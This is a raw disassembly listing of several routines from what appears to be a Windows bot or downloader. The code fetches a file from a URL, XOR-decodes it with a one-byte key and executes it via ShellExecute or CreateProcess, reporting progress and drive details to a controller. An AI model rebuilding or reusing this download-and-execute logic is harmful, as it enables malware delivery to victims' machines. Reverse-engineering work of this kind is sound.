		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40CA63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40CA04
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_4196EF
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_43F664
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		jmp	short loc_40C99C
; ---------------------------------------------------------------------------


loc_40CA04:				; CODE XREF: sub_40C8B4+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E108
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_4]
		call	sub_417900
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_43F700
		push	[ebp+var_1C]
		call	sub_417076
		pop	ecx
		push	1
		call	near ptr 25F0278h
		nop


loc_40CA63:				; CODE XREF: sub_40C8B4+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E28C
		push	eax
		call	sub_4172AE
		add	esp, 14h


loc_40CA93:				; CODE XREF: sub_40C8B4+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40CAB8
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		add	esp, 14h


loc_40CAB8:				; CODE XREF: sub_40C8B4+1E2j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40CAD3
		push	[ebp+var_4]
		call	sub_417900
		pop	ecx


loc_40CAD3:				; CODE XREF: sub_40C8B4+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40CAE1
		push	[ebp+arg_0]
		call	dword_43F700


loc_40CAE1:				; CODE XREF: sub_40C8B4+222j
		push	[ebp+var_1C]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h
sub_40C8B4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAF1	proc near		; DATA XREF: sub_40EE72+381Eo
					; sub_40EE72+3F6Do

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_43F618
		call	dword_43F578
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40CF7D
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		nop
		call	near ptr 2650879h
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40CBB8
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E5E4
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CB9B
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CB9B:				; CODE XREF: sub_40CAF1+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_48]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0278h


loc_40CBB8:				; CODE XREF: sub_40CAF1+68j
		xor	edi, edi
		call	near ptr 25F07CDh
		nop
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_417B89
		pop	ecx
		mov	[ebp+var_1C], eax


loc_40CBD2:				; CODE XREF: sub_40CAF1+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_43F580
		cmp	[ebp+var_34], esi
		jz	short loc_40CC16
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40CFE3
		pop	ecx
		pop	ecx


loc_40CC16:				; CODE XREF: sub_40CAF1+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		nop
		call	near ptr 2640000h
		cmp	edi, ebx
		jnb	short loc_40CC54
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40CC3E
		mov	eax, [ebp+arg_0]


loc_40CC3E:				; CODE XREF: sub_40CAF1+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_417390
		add	esp, 0Ch


loc_40CC54:				; CODE XREF: sub_40CAF1+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40CC61
		cmp	edi, [ebp+var_3C]
		ja	short loc_40CCAB


loc_40CC61:				; CODE XREF: sub_40CAF1+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_40CC7B
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E59C
		jmp	short loc_40CC8B
; ---------------------------------------------------------------------------


loc_40CC7B:				; CODE XREF: sub_40CAF1+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E55C


loc_40CC8B:				; CODE XREF: sub_40CAF1+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_444EC0
		push	eax
		call	sub_4172AE
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40CBD2


loc_40CCAB:				; CODE XREF: sub_40CAF1+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40CD00
		cmp	edi, [ebp+var_3C]
		jz	short loc_40CD00
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42E518
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h


loc_40CD00:				; CODE XREF: sub_40CAF1+1C4j
					; sub_40CAF1+1C9j
		call	near ptr 25F07CDh
		nop
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	near ptr 26307C3h
		nop
		push	[ebp+var_1C]
		call	sub_417C3B
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40CD8A
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40C259
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40CD8A
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E4E0
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h


loc_40CD8A:				; CODE XREF: sub_40CAF1+241j
					; sub_40CAF1+253j
		cmp	[ebp+var_14], esi
		jz	loc_40CFCA
		cmp	[ebp+var_44], 1
		jz	loc_40CE85
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E498
		push	eax
		call	sub_4172AE
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CE05
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CE05:				; CODE XREF: sub_40CAF1+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40CFCA
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_43F5DC
		cmp	[ebp+var_30], esi
		jnz	loc_40CFCA
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42E464
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 24h
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------


loc_40CE85:				; CODE XREF: sub_40CAF1+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E414
		push	eax
		call	sub_4172AE
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CEED
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CEED:				; CODE XREF: sub_40CAF1+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_43C80C
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		nop
		call	near ptr 2760B39h
		cmp	eax, edi
		jnz	short loc_40CF6F
		call	dword_43F5C8
		call	sub_40AC42
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_40CF6F:				; CODE XREF: sub_40CAF1+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_42E3CC
		jmp	short loc_40CF89
; ---------------------------------------------------------------------------


loc_40CF7D:				; CODE XREF: sub_40CAF1+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E390


loc_40CF89:				; CODE XREF: sub_40CAF1+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CFBD
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CFBD:				; CODE XREF: sub_40CAF1+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_40CFCA:				; CODE XREF: sub_40CAF1+29Cj
					; sub_40CAF1+325j ...
		push	[ebp+var_18]
		call	dword_43F69C
		push	[ebp+var_48]
		call	sub_417076
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0278h
sub_40CAF1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CFE3	proc near		; CODE XREF: sub_40CAF1+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40CFFF


loc_40CFEF:				; CODE XREF: sub_40CFE3+1Aj
		mov	dl, byte_42F5C4
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40CFEF

locret_40CFFF:				; CODE XREF: sub_40CFE3+Aj
		retn
sub_40CFE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D000	proc near		; CODE XREF: sub_40EE72+2A7Ep
					; sub_40EE72+2BA4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4197F9
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40D000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D01A	proc near		; CODE XREF: sub_406387+458p
					; sub_406387+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_443A38
		push	0
		push	edi
		call	sub_417330
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40D03F:				; CODE XREF: sub_40D01A+5Bj
					; sub_40D01A+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_4191D0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_419250
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40D07D
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40D03F
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40D03F
; ---------------------------------------------------------------------------


loc_40D07D:				; CODE XREF: sub_40D01A+4Bj
		dec	esi
		mov	eax, edi


loc_40D080:				; CODE XREF: sub_40D01A+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40D08F
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40D080
; ---------------------------------------------------------------------------


loc_40D08F:				; CODE XREF: sub_40D01A+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D01A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D099	proc near		; CODE XREF: sub_40D24E+51p
					; sub_40D24E+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43F6C8
		sub	eax, 0
		jz	short loc_40D0DC
		dec	eax
		jz	short loc_40D0D6
		dec	eax
		dec	eax
		jz	short loc_40D0D0
		dec	eax
		jz	short loc_40D0CA
		dec	eax
		jz	short loc_40D0C4
		dec	eax
		jz	short loc_40D0BE
		mov	eax, offset word_42DDD0
		retn
; ---------------------------------------------------------------------------


loc_40D0BE:				; CODE XREF: sub_40D099+1Dj
		mov	eax, offset off_42E644
		retn
; ---------------------------------------------------------------------------


loc_40D0C4:				; CODE XREF: sub_40D099+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40D0CA:				; CODE XREF: sub_40D099+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40D0D0:				; CODE XREF: sub_40D099+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40D0D6:				; CODE XREF: sub_40D099+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40D0DC:				; CODE XREF: sub_40D099+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40D099	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0E2	proc near		; CODE XREF: sub_40D12A+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43F564
		test	eax, eax
		jz	short loc_40D117
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_40D117:				; CODE XREF: sub_40D0E2+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D0E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D12A	proc near		; CODE XREF: sub_40B8D8+1F3p
					; sub_40D24E+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40D0E2
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		pop	ebx
		jmp	short loc_40D23A
; ---------------------------------------------------------------------------


loc_40D208:				; CODE XREF: sub_40D12A+2Cj
					; sub_40D12A+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_40D23A:				; CODE XREF: sub_40D12A+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D12A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D24E	proc near		; CODE XREF: sub_40D320+17p
					; sub_40D320+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40D2C1
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E6A4
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_40D2F5
; ---------------------------------------------------------------------------


loc_40D2C1:				; CODE XREF: sub_40D24E+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E658
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 20h


loc_40D2F5:				; CODE XREF: sub_40D24E+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D24E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D320	proc near		; CODE XREF: sub_40EE72+57EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40D341
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h
		jmp	short loc_40D3A2
; ---------------------------------------------------------------------------


loc_40D341:				; CODE XREF: sub_40D320+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_43F5D8
		lea	esi, [eax+2]
		push	esi
		call	sub_417B89
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_43F5D8
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40D399


loc_40D365:				; CODE XREF: sub_40D320+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D388
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h


loc_40D388:				; CODE XREF: sub_40D320+54j
		push	esi
		call	sub_417AB0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40D365


loc_40D399:				; CODE XREF: sub_40D320+43j
		push	edi
		call	sub_417C3B
		pop	ecx
		pop	edi
		pop	esi


loc_40D3A2:				; CODE XREF: sub_40D320+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40D320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3A5	proc near		; DATA XREF: ___:0040E6BAo

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_4450CC
		call	dword_43F700
		call	sub_416F23
		call	dword_43F5C8
		call	dword_43F5C8
		mov	ebx, dword_424064
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43C80C
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 260051Fh
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 2660000h
		nop
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 2760B39h
		nop
		test	eax, eax
		jz	short loc_40D46A
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_424078
		call	esi
		push	[ebp+var_C]
		call	esi


loc_40D46A:				; CODE XREF: sub_40D3A5+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_443A70
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx
sub_40D3A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D48D	proc near		; CODE XREF: sub_40D4C5+125p
					; sub_40D4C5+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40D4BB


loc_40D49E:				; CODE XREF: sub_40D48D+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4198F0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4C1
		inc	esi
		cmp	esi, edi
		jl	short loc_40D49E


loc_40D4BB:				; CODE XREF: sub_40D48D+Fj
		xor	al, al


loc_40D4BD:				; CODE XREF: sub_40D48D+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40D4C1:				; CODE XREF: sub_40D48D+27j
		mov	al, 1
		jmp	short loc_40D4BD
sub_40D48D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


